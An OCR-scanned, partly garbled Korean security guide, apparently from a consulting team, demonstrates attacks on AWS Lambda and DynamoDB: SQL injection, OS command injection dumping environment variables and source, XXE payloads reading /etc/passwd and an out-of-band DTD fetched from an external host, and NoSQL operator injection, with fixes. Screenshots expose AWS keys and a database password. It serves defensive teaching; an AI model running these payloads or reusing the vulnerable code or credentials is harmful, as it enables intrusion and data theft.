1) 2f 28 U2 SQL #Helzez MY AHZESHM A8ste 8% &Te HElE A
83l7| 9|8l Prepared Statement@} QAFSH LxZ BEE EHAM|of Bt
SQL Inejection F2F FE 0f|A|, Lambda(Node,js)
app.get("/get-info", (request, response) => {
const req=request.query
const query="SELECT * FROM contact_list where id="+req.id;
connection.query(query, (err, rows) => {
if(err) throw err;
response.json(rows)
EHTHA ;
1
SQL Inejection EQF FE 0fA|, Lambda(Node,js)
app.get("/get-info", (request, response) => {
const req=request.query
connection.query('SELECT * FROM contact_list where id="7",
[req.id], (err, rows) => {
if(err) throw err;
response.json(data:rows)
hi
1
2) MEX UHU =Y M
HE 7|150M2l SQL Inejction H0o{= Bind H4E AFBY £ gleoz 2| 4
YU frdsS dASts 222 HEWOF . SI0|EZ|AE HEHE YAS A
8510 5{8& HHO D HAL=F S{Of o
H| 1 -

38



ga1ec mos|y W

EQAST

Experts, Qualified Security Team

5.3. Lambda: 29 H|H H

5.3.1. ZIcehA

=(AWS)
=| Al '6°||

E AWS Cloud
Authentication
K__A
&2 =2
= @ "4 N
A S3 RDS Amazon S3
mazon Amazon Cognito
7
Users
Amazon Amazon Amazon AWS Lambda
Route 53 CloudFront  Ap| Gateway | |
| AWS Lambda |

[ 26] MHE|A & ofF2|#H[0]F EF2 OS 2INH BILY T3 f &(Lambda)

O AFBA7L HESHO|A Tie0jEE 93 =
X

Q MHOAM NM2|E= gas AHEAIZREEH HER2 2tiH

lambdat Z2|El BEIY $HS MBoHs A SN S45 SEVLCL MY BZLS S4E5 Mg
O Zest 2|AAE 222U Lambdas 7|28 92 Java, Go, PowerShell, Nodejs, Python, C#, Ruby A0 &
X 25tH, #& EC2 QIAHANAM ZES AAS= At H|WSHH Lambda?t ZEE ZHO[H 7|9 €87
SE2 XZ2t= Aol =M HMESLCE AHAHO|H= ZE5 0|0/X|(Amazon Linux AMIL  amzn-ami-hvm-
2016.03.3.x86_64-gp2)2 HM|ZE EC2 QAAHAE LTt
53.2. F{4H W&
P L
xjors Ao ATER 2 AFEA YOl OS FHO 20| &S FO HERI o =5HK] 8
T 8o N
2 Jlsg MYAIZIE FHAHYLICH
et 7|E [F 2] WXL o =5HK| 2 THOE HASHALE O|F Sl SREEE &S5E +
EE 7=
T 92 72 %oz mewh
Lambda g7t d¥E[= IAM 2ot YE EHF|7t 7t55tH, oiE A2 AHE Jhstt
HolE g
FE MH|20 s AS0| 7tseL tt
H| 2 -
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5.3.3. Zichatot

OSs FHEMYUS & m ma2toly Fof "&", "&&" ‘" “||" &b &2 SAE AFESHY F7HEQI HHS YHE £
ULt 2ls20M s " 22X AFE5I0] HHEOE E2|A1Z = UCh

AlAHEl HEHO0{ol ZDgL0| &L= A&0|2tH productid=381 & cat/etc/passwd Z2 echolt ifconfig Z0|
PYEE =8 £+ s FES | Lotk THof Mot FEe| ANgE 2 + Sl 4"ol2tH Time-
Delay HfAloZ OSHHO| 2Fsle=X| =olg 4 ULt FE productid=381 &ping —c 10 127.0.0.11t ZO|
pingdil 7IREE & F Ue " SHE Z0| ALETHCL

Q A2H HEE 2= OS HHO| o= Ct3at 2Lt

=5 g2l sA b
AKX AR X O|E =9l | whoami whoami
AN H HE =ol uname -a Ver
HEQZA Md™ =9l ifconfig ipconfig /all

HESQA oA MEj| =@ | netstat —an netstat —an

HaFZol T2 NA 2Rl ps -ef tasklist

Q oo{¥ OS Command &%=

No 0104 OS Command As st

1 Node.,js require(“child_process”).exec, require(“shelljs”).exec

2 Python Exec, eval, execfile, input

3 Java Runtime.exec, Runtime.getRuntime().exec

4 Go Exec, os.Args, flag

5 C# Process

6 Ruby [0.popen, system, exec, open3.popen
OS FHZ MAMtE Lambda ZE O

exports.handler = (event, context, callback) => {
event.cmd = "node regeust_google,js"
if(levent.cmd)
return callback('Please specify a command to run as event.cmd');
}
const child = exec(event.cmd, (error) => {
callback(error, 'Process complete!’);
)

child.stdout.on('data’, console.log);
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ZITh AtY|1. Lambda QISHHE 25
7

lambda BEFY Al QISHET} W40l EHE0f YRCEOR Y 42 Sof A5 PEES NS 4
UeLICE BARE ASYEE 085101 HOIE He0| w2t AWS MH[AS X8|, HOZ & AgLith

Stepl. cmd Lt2t0|EE S OS FEO 2 S Zat =0l

0
anee sges
e {
2 "cmd": "1s" *lambda_funct ion. pyiin®
3 ¥
4 |

[O2! 27] Lambda OS H&0{(ls) & X 5! AHAqn}

Step2. ‘env’ YHOE S AMHo SAHSTEHE =g sl 7t T ASEE(AWS_ACCESS_KEY
JAWS_SECRET KEY)O| 8{Stst= Zt2 &folst
axes soeg

: "AUS_LAMBOA _FLMCT | OM_YERS | ON=FLATEST #ndWS_SESS | ON_TOKEN= Qodb3) pZ2 | K2y | EAaCkyzLid| c30t HSIHHELC BxGXBEd
a | Bl +4 Kby 790 Ot 50 5r+5/ GOwd2T 26051 PEvDA | EASSci %71 +18unndbr OF J 00X dry GV VM1 SR AT afPoapw | Imfff 7474 f 1AR&A
Gaw300kzM] kW] AvNDQT DGanZ05e] c3as ) Z4ESr TATTCEr av i ¥ oB) Z6dwydBRykdiAUZnZ  ezsBHunhY Z2Pwa FhET /yW 2Xc0lvGhiZl eh
CaF fUal TLpGl FB2KkG1 58vn¥ai +FY odndi hROoLF4Er Z45k2850m+4eY /| dhol Kr EJEI RZ0Z=T i ukdn2FEr5f X1 DnlvLdUpkaotnCiRl L
zd f0Bt SRmt z| 2RmZ2oPHBY aaCf dbclUHi EDSY +at fSpoybhEZnP | dZMKUL DIWRGI T Het ¥ frl bHyM | DBBZE2 | BPUKN,/ OUBBEDnoRnkin Gya
fziGHXT/ 14824451 fxz | BYuwM.) yLBHAH | NI NR4kECom+000xf Pt HBBnSwUHP | £ IHLzkn4UG00oBad | | GETADE I HI D1 | Ehj DEZayt 0
HASW TUUGE fLaj JM70BDCai WACz| Ded| ds3cZhb) aFke fThZrCehzPy KmuzaRv) WY1 x30CKXBBGRT 2/ 21 07MaCBawlat 21 v | o3| aaaPy
TryzEi | LOoFHL30AkypHHed0w Bsal Z5AuB3 7Y eesty OMHIT oV ZpkBy BB+ 020k swuzRCundat Sw==tnAW5_LAMBDA _LOG_GROUP_NAME
=faws/ lanbda/Lanbda_0S_|nject ion_TESTI#nLD_L | BRARY _PATH=/var/lang/ lib: /1 ib64: fusr /1 ibB4: fuar/runt ine: fva
rérunt ime/ b fvarftask: fvar/task/ | b fopt /1 1b#nLAWBDA_TASK_ROOT=/var/task#nsWS_LAMBDA_L OG_STREAM _NAME=2
021/065/20/ [SLATEST] 5R3cAf ¢l BR9bdd 1 3bcdad! 7TAFA1 3530 FHnANS_LAMBDA _RUNT IME_API=127.0.0. 1 : 9001 #nalS_EXECUT [0
W_Ety=4015_Lanbda_pvthon3. BnANS_kR4Y_DAEMON_ADDRESS=169. 254, 79, 2: Z000nAWS_LAKEDA _FUNCT | OW_HAME=Lanbda_0
S_Iniect ion_TEST14nPaTH=/var/lana/bin: fusr/local/bin: fusr/bin//bin: fopt /bintinhWS DEFALLT_REGI ON=us—west
—1WnPWD=fvarftaSkWhAWS_SECHET_ACCESS_KEY=mkaqTJnCNKKZUtDddErWuS44fVEtDyZEbwGMOGw nLANG=en_US, UTF-3#nLaN
B04_RUNT IME_DIB=/var/runt inetinalls_LAMBOA _THITIALLZATION_TYPE=on—denanddind i S_REG] ON=us-west -1 #nTZ=: UTCH#nA
|WS_ACCESS_KEY_ID=ASIASPSQVQdKEPdAHEAUWnSHLVL=an_AWS_XHAV_DAEMUN_ADDHESS=]59.254.?Q.EWH_AWS_KHAV_DAEMON_
PORT=2000RPY THOMPA TH=/var /runt Tnewin _i_aMZN_TRACE_| D=Root =1 -80a5f 2el-hbab24ad031 3f 1 1bh725ed3e: Parent =4el
feOf 1B6734e20; Sanp | ed=0#nANS_XR4AY _CONTERT _M1 551 NG=L0G_EARORYN _HANDLER= anbda_funct ion. lanbda_hand|erfinal

S_LAMBDA _FLINCT | ON_MEMORY _S1 7E=128%0_=/usr/bin/enviin”

[O2! 28] Lambda OS HZ0{(env) Al @X ol AHq}
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ZITt Al3|2. Lambda &4 AAFIE S E
MHZ|A 2tZ0|M Lambda A|[AE2 Read-onlyZ E[O{RUO] FIHHQI BE HX|= S7tgLIC SFX|2 S X}
7t 0 =

182 = e 20| o0 EX|7t HA{U=

of)y HTTP 282 EH =+ T Aes mysql 2= Lambda A|AEIOA ALE
7tset Is —alR BB Soff oix ZXE oY FFS &S = A2, F/HH S45 0 0|82 Z&Es

dmHE 5 AsHCE

H
ne
o
i
Rl
=
Ot
Wy 0O
qy

R: 319 ZE47X| EZ| HEE ZM, recursive

Stepl. 'ls -alR’ BHOIS Sof MYE Y Y=

i
Jo
ro
oot

Response
"Process complete!™

Function Logs

.d.ts

-rw-ru-r-- 1 root root 1114 Oct 26 1885 util.js
-rw-ru-r-- 1 root root 1715 Oct 26 1985 util.js.map

./node_modules/furi-js/dist/esnext/schemes:
total 34

drwruxr-x
drwxruxr-x

root root 381 Apr 14 17:26 .
root root 327 Apr 14 17:26 ..

~FW-TwW-r--
-IW-Tw-r--

root root 1939 Oct 26 1985 urn.js.map
root root 279 Oct 26 1985 urn-uuid.d.ts

2

3
-rw-rw-r-- 1 root root 1838 Oct 26 1985 http.d.ts
-rw-ru-r-- 1 root root 959 Oct 26 1985 http.js
-rw-ru-r-- 1 root root 841 Oct 26 1985 http.js.map
-rw-rw-r-- 1 root root 188 Oct 26 1985 https.d.ts
-rw-ru-r-- 1 root root 212 Oct 26 1985 https.js
-rw-ru-r-- 1 root root 312 Oct 26 1985 https.js.map
-rw-rw-r-- 1 root root 359 Oct 26 1985 mailte.d.ts
-rw-ru-r-- 1 root root 7746 Oct 26 1985 mailto.js
-rw-ru-r-- 1 root root 7209 Oct 26 1985 mailto.js.map
-rw-ru-r-- 1 root root 324 Oct 26 1985 urn.d.ts
-rw-ru-r-- 1 root root 2058 Oct 26 1985 urn.js

1

1

[23 29]Is -alR EEO| & At

' ' = o N = = Lo —L0 = — o = =
Step2. ‘cat’ FHOE S Lambda g2l AAFEE 20 7h551H, MY W 2 HE(F|, HAYE)E =
= O = X ru =1 Sk A o
S 9 0|2 F7IHQl BHo| BEE + s

= ¥ Execution results

f= v L

E et Q Test Event Name

S 2 node_modules 1

S € | index.js Response

<> | mysqgltest.js "Process complete!”

<»  package-lock.json Function Logs

«» | package.json START ReguestId: 55d9736b-2461-4dcb-b662-64863991a3a2 Version: $LATEST
2921-85-21T01:18:19.977Z 55d9736b-2461-4dcb-b662-64a63991a3a2 INFO async function dbtest(} {

<» | request_google.js var arguments = '123';

const mysgl = reguire('serverless-mysql')()

mysgl.config({

host : 'database-2.c4h%rddygtal.ap-northeast-1.rds.amazonaws.com',
database : 'product”,

user : ‘admin’,

password : 'dlsvhiprl2#g’

b

await mysqgl.connect();

[23 30] Lambda A AR0lM SRYE B
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2
o
& 2 9l request BEO0| MX|EOf Y= FRO| HTTP Q82 wik

. = HA [ =20 O
node)S Lambda 2tZ0A RES 0|8 E2 node[mtdFjs]z FHS HHAZ &+ UASHC
Response

"Process complete!™

Function Logs
mp;prev=http://www.google.co.jp/&amp; sig=K_77R154Cb72NbggiDGVuQr3EXZ8g%3D" »Google. co. jp</ar</divy</divy<p style="font-size:8pt;color:#78757a">&copy; 2821 - <a href="/intl/ja/pcl]
var a=window.innerWidth,b=window.innerHeight;if(!a||!b){var c=window.document,d="C551Compat"==c.compatModelc.documentElement: c.body;a=d.clientidth;b=d.clientHeight}ak&bs&(a!=god
var d=this||self,e=function{a){return a};var f;var h=function{a,b){this.g=b===g?a:""};h.prototype.toString=function(){return this.g+""};var g={};var l=null,m=/"[\w+/_-]+[=]{@,2}4
function g(a){var b=document;var c="SCRIPT";"application/xhtml+xml"===b.contentType&&(c=c.tolowerCase(});c=b.createElement(c);if{void @===F){b=null;var k=d.trustedTypes;if(k&&k.
al=d?a=n(a.document): {null===18&{1=n{d.document)),a=1);a&8c.setAttribute("nonce",a) ;google.timers&igoogle. timers. loadi&google . tick&Rgoogle. tick{"load", "xjs1s") ; document.body . appg
function _F_installCss(c){}

(function{){google.jl={blt: "none’,dw:false,emtn:d,ine:false,1ls: "default’ ,pdt:8,snet:true,uwp: true}; 11 () ; (function(){var pmc="{\x22d"\x22:{},\x22sb_he\x22:{\x22agen\x22: true, \x22

END RequestId: 7f@eeS23-3927-44f9-abcP-39c7b2195648
REPORT RequestId: 7fPee923-ad27-44F9-abc9-a9¢702195648 Duration: 4058.29 ms Billed Duration: 4851 ms Memory Size: 128 MB Max Memory Used: 87 ME Init Duratiocn: 144.74 ms

Request ID
7fBes923-3927-44F9-a6c9-39c7b2195648

[1&! 31] Request R EE 0|8t HTTP 2% Hz Al Zq}

- lambda0| MHE oo W2t ¥Y Mol N0 Y2 4 YSUCL 0E S0l LIEYIS S o
O[E{E B3t AlLt2|20 Z2 lambda A3 0| LIESIS AZ H0| 0[O BLICL Ei DB
oA CIO|HE Xslotn A2 ZS RDS X3| T A0| YO{0F LIt Wath, BoB|Y Al AlLt2)

© 5% [f FOIMNBOE lambdadl 7|5 BN ME 3 MFYEo] YSBH WS FHPEE A

ol E&Lct

2t 1y NER--E
Eg|Z
g olz
I At | Lambda_Kanban_Role [
e
2 v BlaA 9o
B
AWS Lambda
VPC 1 actions, 1 resources

[1% 32] [Lambda®l4 > 74 > A3 Hko| MH 2ol
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3%} X4t

At S AlSH A

LB - =2

¢S BO| 275t= 0SS P2 HHEX| s 7tsd0l #2822 FOTLCt
test
» MR ko
e HxE A=) e = ES
aawe L2
E2|H
=9 o 2 2| (MB) HE Az
2 - 128 0g 3%
That
St AWS Compute Optimizer
28 2T Lambda =0l CiH o 22| A AzhE 22{d SE S LLCE View details [
[13 33] [Lambdadts > 74 > Uk Y] o 4% el
2ZY0ja 2Fa FEY = Us L2 OSHHLZE whoami He Z@ OOFE Lambda 74H|O[L

BHoA

“/home/sbx_userl092"2}t Zr0| sbx_user2 L}EFLL|LC}.

AWSOIA curl BEOE HAYLH, @ 2F2 EU7| flo A 2toj=222|E

Ct.
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5.4. Lambda: XML 2|5 ZHX|| 3 Z(XXE)
5.4.1. Kk
AWS Cloud
Authentication
E B
Amazon S3 Amazon Cognito
PYTHON
Users Amazon Amazon i ‘_\_\l
Route 53 CloudFront Apﬁ\ng;zay AWS Lambda 0
o] [Lw | AWS Lambda

[ 34] MHZ|2 ¥ of Z2|#H[o] M

3tZdo| XXE 24 CjjAH(Lambda)

Users

Ik

AWS Cloud

— 8

Amazon
Route 53

(w]

Amazon
CloudFront

Amazon S3

(] %ﬁ

Amazon
AP| Gateway

Authentication

Amazon Cognito

AWS Lambda

S3 Event
Trigger

AWS Lambda

Q AEBX7t EEIRME Sl 2
Q MHOIAM M2|kl= g
O AWS LambdaQ| &t4= QX st
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o
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Step 1.

XML

TEST§/body> </note=

"UTF-5"7><note> <bodyqxXX

"1.0" enceding

<7Txml version

Output:

XXE TES

oIr
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XML

<IDOCTYPE G:—:t&i [<IENTITY passwd SYSTEM "file://fetc/pa 55'.-*;'-:1"}]Ia
<data=
<text=

Spasswd;

Output:

Footxcl:rooty/ root/bin/bash
binc1:1:bing/bin:/sbin/nologin
Haemon:x2:2:daemon:/sbin:/sbin/nologin

[AZ 37] IF AEIE|] FXE ST ot(/etc/passwd) 2l 7H5¢
ZITH Al3[2. Lambda O|HIE E2|H{Z £3% XXE 2%
Q ALEX7L IF QEIEIE FRSIEE AME XML OHYZ S30| YE2EE Al

Q of S3 OjiERt HZAE Lambdagt |71 = HO|HE mhdsto], XXE 4 2ds

+
N
[m
il

Stepl. XML HAlo| HO|EE S3 HZlo| YEZE A| Lambda &7t EZ|AH E|H, siZ HO|HE I}

Hhstsle 2

[

o
ot

Holg = ASLICL

rir

st XML H|O|E &Al

<?xml version="1.0" encoding="ISO-8859-1"?>
<IDOCTYPE foo |
<IELEMENT foo ANY>
<IENTITY bar "World">
1>
<foo>
Hello &bar;

</foo>
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23: Ixxe
AFEH: 200
| H AlZE 452ms

C =
==

=

-

=2
o

"<foo>in Hello Worldin</foo>" |

[1% 38] XML Gjjo|E{ mt4 2% H|o|E
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Step2. mUS X|Fot= R QAMEEE WA =, B o=z sy F MEEIE H=st= HOREE

A goto] HEoHH, MRUE “Jetc/passwd” ISl LHES =R = AFLICH

[y

L& O z=3| - 2|F K|S Fx5HE XML GO H4

<IDOCTYPE foo [<!ELEMENT foo ANY >
<IENTITY bar SYSTEM "file:///etc/passwd" >]>
<root>
<child>AAAAA</child>
<child>&bar;</child>
<child>CCCC</child>

</root>

2H: Ixxe
AFER: 200
K| A7t 468ms

octED
SEHEE

"<root #in <chi ld=444844</chi |d=tn <childzroot :x:0:0:root: froo
to/bin/bashiinbin:x: 101 hin:/bin: /shin/nologintindaemon: x:2: 2 daemon: /shin:/
sbin/nologintnadm:x:3:4 adm: /varfadm: /sbin/nologinttnipix:4:7: Ip: fvar/spoo

I/ 1pd: /sbindnologintnsync: x50 sync: /sbin: /bin/synciinshut down:x: 6.0 shutd
own: /sbin: /sbin/shutdownnhalt ix:7:0:halt /sbin: /sbin/halt#nmai | % 812 ma
il /var/spool /mai | /sbin/nologinttnoperator: x: 110 operator: /root: /shin/nol
oginfingames % 12:100: games: /usr/games: /sbin/nologintnftp:x:14:50:FTP Use

rAvar/fin: fsbin/nologinnnobody = 99:99: Nobody: /: /shin/nologin®nsystend-n

[33 39] XML Cj|0|E{(/etc/passwd) mtd S H|0|E

Step3. 25 QlE|EIE HXsl= L O|REE 2SI MU=l “/var/task/lambda_function.py” It Ial A

HMXMOoZ ZSASHA| UL L|Ct (XMLSyntaxError)

L T T3 - 9% KIS ATSHE XML HO|E HA
<IDOCTYPE foo [<!ELEMENT foo ANY >
<IENTITY bar SYSTEM "file:///var/task/Lambda_function.py" >]>

<root>
<child>AAAAA</child>
<child>&bar;</child>
<child>CCCC</child>

</root>

50



2319 mo|s| HHHEAWS) EAQAST

Experts, Qualified Security Team

2F: Ixxe
AFEH: 502
X" A|ZF 438ms

orC =
=2

=) ey

——

"message": "Internal server error"

[33 40] XML Cj|O|E{(/var/task/lambda_function.py) Iut4 St C|O|E

O XXE ot g =30s =28 + UAs oY 4o Heto] AUy o WEH ERE At
VS

o
s 023 3L IHRE A

2
X
<
—
(%]
<
=)
—
Q
x
m
3
S
i
o

xletL|ct.

=

O <![CDATA [and]]> £X} O|O|E{(CDATA)= XML IpA7p &

o
rm
Ho
Pal
i
-
Ho
Ar
1z
Ot
rr
pat}
mjo
oL
R
Ot
N
4o
el

2R ZAE SEME O AEE 5 UASLICH

0
-+
]

o
2

El

ne

o

Ral

oz

st QF QEEIE MY F, EfO ZYoER oY F AEEE HXSte HOEEE

—

A0 MEstH, MAZ “/var/task/lambda_function” mto| LIS =tolg £ @l

LhE O =3 - 9| ZHKE AxS= XML H|O|Ef A

<IDOCTYPE root [
<IENTITY % content SYSTEM "file:///var/task/lambda_function.py">
<IENTITY % dtd SYSTEM "http://xx.xx.xx.xx:8087/readillegal.dtd">
%dtd;

1>

<root> &filecontent; </root>

CDATA 2{jIH7t HTML-ENTITYZ QIR T =l Q|& readillegeal.dtd L}

<IENTITY filecontent "&#x3c;&#x21;&#x5b; R#x43; &#x44; &#x41;8#x54,Q#x41; &#x
5b; %content; &#x5d;&#x5d;&#x3e;" >
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S22 E Do|sfF HHE(AWS)
QH: /xxe
AFER: 200

x| Al ZF 685ms

S Ct =
== %T'_'

"eroot>  from lxml import etreefnimport boto3, os,urllib, jsonftndindef lambda
_handler {event, context):#n 53 = bato3.resource( 's3' N #n #n
#key = urllib.parse.unguote_plus(event[ 'Records' J[0]1['s3" ][ 'object ' ][ ke
y' ] 4N #33 meta.client download_file( ' xxe—test—upload-xml ', "tmp/f.xm
[, /tmpdf o]t fin bucket = 'wxe-test-upload-xml '#n key = 'tm
pdfoxml i file_name = '/tmp/f.xml " #n client = boto3 . client{'s3' #n
client download_file(bucket, key, file_name)#n il parser = etree. XML
Parser(no_network=False, resolve_ent ities=True, load_dtd=True)#n doc = et
ree.parse( ' /tmp/f.xml ', parser).getroot {J#n parsed_xml = etree. tostring
{doc )¥n #output=parsed_xnl . decode(W'utf-8%") . replace (W" MW" W" &1t ;brég
" T4 output=parsed_xml . decode(#"ut f —&4" )#n print (output Jn Hin
return {#n 'statusCode’ : 200,%n “body': Json. dumps{output JHn
T </roots"

[ 41] XML O]O|E{(/var/task/lambda_function.py) mtX ST 0|E

5.4.4, ZITH FHaAg

Lambda AAFCEO| HAEE= “/var/task/” §lL|LC}.
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5.4.5. & QK

Tz g
FUA™ A Lambda: XML Q|2 28| &2 (XXE)
23 MH|A  Lambda
SotfE §E8 -
ZX| Yt DTD(QF AEHENE B2t
O XML 24K sH2 AWS XM Heltiel A0| otH ofF2[AH oY ~A23E=0 ofst
Injection #|FHO0|B2 XA =X, Z=X|s|oF &
O Qf QE[E| H= 7|50] ERSHK| B2 4%
1) DID Zt&d d8¥& H&det
2) DIDH|gdst & + Q= 3% 2F AHE A 2f M € MeS Z oMo
AR YACoR HZds ER
O DTD &3 473 Hjgdsl
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl”, true);
Holjay O XML T2 £40| AHBEE Python3 25| FoH4
34 g% sax Etree Minidom . Pulldom Xmlrpc
Billion Laughs #|oF | oF o o %o
Quadratic Blowup %|of Z|oF *| of *|oF | of
External Entity Expansion U U %z = e
DTD Retrieval %S el el el I
Decompression Bomb =l =l U Rl Fof
O XML 2 240 AMEE= PHP XML ItA
libxml_disable_entity_loader(true);
* XML Q|8 dE|E| HX| X|E AE
H| 1 (https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Shee

t.html)
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5.5. DynamoDB: NoSQL Injection

5.5.1. KICkeHA
AWS Cloud e T
19) Availability Zone 1
Amazon S3 Ei 1 i !
E it Instance(EC2) i Amazon | |
‘ . : B
l s| E 1 : :
et Auto Scaling group
Users Amazon Amazon Elastic Load o= T i
Route 53 CloudFront Balancing i i Availability Zone 2 i !
RN T
|| Instance(EC2) |

[33 42] JIE{Z2l0|= ¥ SAE 2t NoSQL Injection &2

AWS Cloud
Authentication o

B E

Amazon S3

[o
ol
=
<
>
Q
3
o
=}
.

Amazon Cognito Amazon
DynamoDB

% /I\
Users Amazon Amazon Amazon AWS Lambda &
Route 53 CloudFront API Gateway
AWS Lambda

1

[23 43] MHE|A # of E2|AH| 0| EZH2| NoSQL Injection 3Z S E(Lambda)

DynamoDB= AWS Z2t2E 7|dh NoSQL &2 MQILIC GO|E{HO[AZ A INSERT, UPDATES, DELETES,
QUERY & SCAN XS oo} CjO[E{0f Lot CRUD XS X|AGLICH SELECTIH gAtSt 7|55 &5}
7| #/3f DynamoDBOjAM= H2| S AWS ALERLICE H2l= AHEAZE HOIE EoIE fIdh 7[= 7| H8ut

F7h EHE AF8ojorgLCh A7 e FH HOIES AZWBED ScanfiltersE 7|dtez ZNtE 2|EHeL L
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55.2. F4H UE

T= W&
dors oy | DR B2 ABA 23 ol NoSQL Wzl Huol FwE Fof AAIL el
T o 2o .
®E2 7lss d¥ATI= FAFLLCL
e o) [F2f] HEA7E Q5K Qb2 F2[E HHSHAL, 0|E Soff SREEE 2ASsY =
et 7E
B AS F2 Fopoz WEIFLICEL
FtE g OB oA Wy SRYEI EFE = UASHLC
SQL Injectiond}t E2| NoSQL Injection2 OfZz2|AH0|M A Z0|Lt AKX NoSQL H|O|E{Hj
Bl D OlAOM B 4+ UslCh UNHOE FHS BAU PE BN, Wi Es
NoSQL APl &0 HZAL|= OHZZ|AH 0[N ABSON Lt
5.5.3. ZICHO}
TITH AL2f|1. A7H(Scan) & 0| 8% HIO|EH|O|A X=2| A| Yt HE AZ(XHSF oi2H0|E HX)
CIO[EH|0[A =2|E ot Hlm AKX X £d 42 ZE/EEY = Us 4% SEA= MEXIL &5t
= OOl MEELC O B2 HOE Fdd = ASLCH
Stepl. ALEXt O|E(kate)22 FE %3 ¥ = SH HOIHE =old
REEE SEEE
1-
2 db": "Demolsers”, [
3 "searc erm”:" e",
4 ":asL::E:;:atc:ﬁ'::"fq", > {
H "search_field™:"name” “emai "
6 7 "E" "kateBdlZl IMonail . com”
+
"name": {
+
"phone”: {
"' "M1012345678"
Iy
"age": |
R
}
I
1

2l 44] AKX ME X3| A& (name:kate)

55



EQAST

= (@) = H
S2fRE BolsiF WHE(AWS) . L e
xperts, Qualified Security Team
Step2. ZOo| X ZIo2 F=HE|= search_term(*), search_operator(GT) S 56 28 Al Ho|g
(DemoUsers)2| 2= HO|H7t SHE= AS ol
ad2E SEEE
1~
2 db"; "Demolsers” ! [
3 "search_term":"#",
4 "search operator”: "aT", | ’ {
H "cearch_field™:"name” Emai " o
6. X "5 “dion@anail ., con”
I3
"nane” s |
"5" "dion”
I3
"phone”: {
"t "O1022EEa3as”
.
"age": |
"R
I
I3
1
"5" "kateBB021 3amail . con”
I3
"nane” s |
"5" "kate"
.
"phone”: {
"t "O1012345678"
.
"age": |
"Rt
I
}
]
[O23 45] AKX} HE =3| A|E(name:*)
O AWS DynamoDB= H|it HLXIE AL £48 HIE #4S HotE
Expected, QueryFilter, ScanFilter 5 7|& Li2t0/EE ALESH EH| =S Zdst= Hot2 Ch3at 2L
Ct.
Expected : &£M42 M&E ot Hl
QueryFilter : st= ZfTH Htetot = 2| Z0tE E7t
ScanFilter : AZ4 ZT2 H7ISID Usdls ZHo HiS

H|w AHAXH(ComparisonOperator)

=M ZH(AttributeValuelList)
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Hlm AKX} HM =H % /d(AttributeValuelList)
NOT_NULL £40| EXsHe 2 H(True) o gig
NULL 20| EX|SIX| o= AL E(True) 9 gls
EQ(Equal) £/40| gt Z2 ™ F(True) oY ez 7
NE(Not equal) 20| Zhot ZX LOW H(True) T oz T4
LE
£40| gt=ot 7Lt Zo ¥ F(Tue) Y gloz 7y
(Less than or equal)
LT(Less than) £M0| gfECH o™ E(True) e ez 4
GE
£40| gt=ot A7{Lt Zo ¥ F(True) Y gloz 7y
(Greater than or equal)
GT(Greater than) =M0| ZtECH 3™ EHTrue) ctal Ztoz 1M
Zr0| AISH LH o] xﬂEj L} &Lbe| ZiOo| C
CONTAINS HAIHHAHI1 |ALE, HIHAIfa%lﬂgi__rug
£ 4ol &&= 2% E(True)
20l T uof mete|X| EALE StLtel gf
NOT_CONTAINS . chol 7oz A
O] CHE ol NMEEX| gte= B2 E(True)
BEGINS WITH S8 3 W 2 AUt 9ue U ©9 ge2 74
LX|St= d2 E(True) * X HlW =7t
=AY, =X E= Ol 5 &
BETWEEN 20| AEZQIEE Zatef ototdat MotM  Ash YAlol @4 27| ez 3
Atolof = 8% E(True) g
* R =l Al AR
A8, AL O|fl= & BHIHK|
HAl @4
200l @7 B2o| 2t 3 sjLetE ZoW X
IN (“T* )E - * H|D CHA 40| YKt H
rue
Ao Y5t Zhe Hoof
=13
[E 7] AWS DynamoDB 7|= miz}0|E{S 0|83t =7 Xt utot
Q GT AMX} 7|&E 8% & EHe 2H
GT GAMXIS =Mool ZYELCE 3™ 2HTrue)© 2 THCHSHL|CE 22X H|mAAE Al “*" " Eo] EAQXIE
— - 1O HA - O [ELE = [ = — 1 o = T 1= —
Lotsl HC} gfo] ot Ho|Z el EE HOo|H7t &(True)2 2 XN2|k| SEELICH
QY EF
1~ |4
2 "db": "Demolsers",
3 "search_term”:"d",
< “search_operator™:"aml",
= "search_field”: "names™
6 1

[O13 46] GT HAMXIQ} H|m =/
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“emai " o{

" "dionBgnai | con”

"name": {
"5t "dion”

"phone”: {
"St 022223333

"email":

"5 "kateBB0Z1 38amai | con”
i3
"name": §

"5 "kate"
b

"phone": {

"5 0101 Z345678"
b

"age"t o
R

]

n
i

Mo

[

1

"emai " {
"5 "kateB3021 3@gnai l . con”
I,

“name”: {
"5t "kate”

L

"phone”: {
"5t D01 2345678

2

"age": {

=R

[23 48] GT Aitxtet Hlw HdU(e) 7IE %

[A% 471 GT A
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o

FEE A2 ATM(Scan) B4 0|83 BlO|E{HI0|A X3] Al YR BE AE(EHY HZ)
Scan g+ MH HO|ZO BE 22 9N HO|Z BE HOHES SHEELC JED UKTE 20|

o
ghote|= = MEHN filter-expressiong M3 = UAFLICL 2Lt EHE= HH HOIS0| 22& o2 HE

B Search.

= [Request]
serInpuf prope
UserInput_value

UserInput_name=judy
DynamoDB ! : anSpec () .withFilterExpression(property +"=:value and ffname —:UserInput_name ")
' 848772 and name =judy)
== rRaqnnnqp]
gmail.com, age=26} }

[O8 49] HepHs, O|F U2R FHH X3 & MET
)B Search.
= [Request]
serInpuf propert
UserInput_value=j
UserInput name=
: ( :value and #name =:UserInput name ")
ScanSpec() .withFilterExpression(email=judy113@gmail.com and name =judy)
Response] =

1
I

[ 50] o|HIY, O|F AU2E FH X=3|E MEd

Step2. Z7(property) gt HZx(email)5t0] 28 Al O 2{HA|X|7} SEE

DynamoDB Search.
[Request]
nput property
UserInput value=judyl]
UserInput name=judy
DynamoDB ¢

== [Reqponqe]
not complete operation

“ror Message: Invalid FilterExpression: An expr
attribute value: :email (Servic mazonDynamoDBv2 ; H Error Code: ValidationException; Re
null)

HTTP S

AWS Error Code: ValidationException

Error Type: Client

Request ID: ATS5491 HDUJ1UF44UVSRILUB2BVVAKQNSOSAEMVIF66

[23 51] =Z(property) Zt2 HZXSI0 HE X3 A= (02H)
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Step3. X7 (property) g2 HX(value) 8l HE X3|E AT

DynamoDB Search.
[Request]
UserInput property:
UserInput value
UserInput name=

DynamoDB : Spec().withFilterExpression(property +"=:value and #name =:UserInput_name ™)
: ion( 3@gmail.com and name =judy)

[Respo
Ttem: {phone=010 £ y ame=judy 3 m, age=261 1

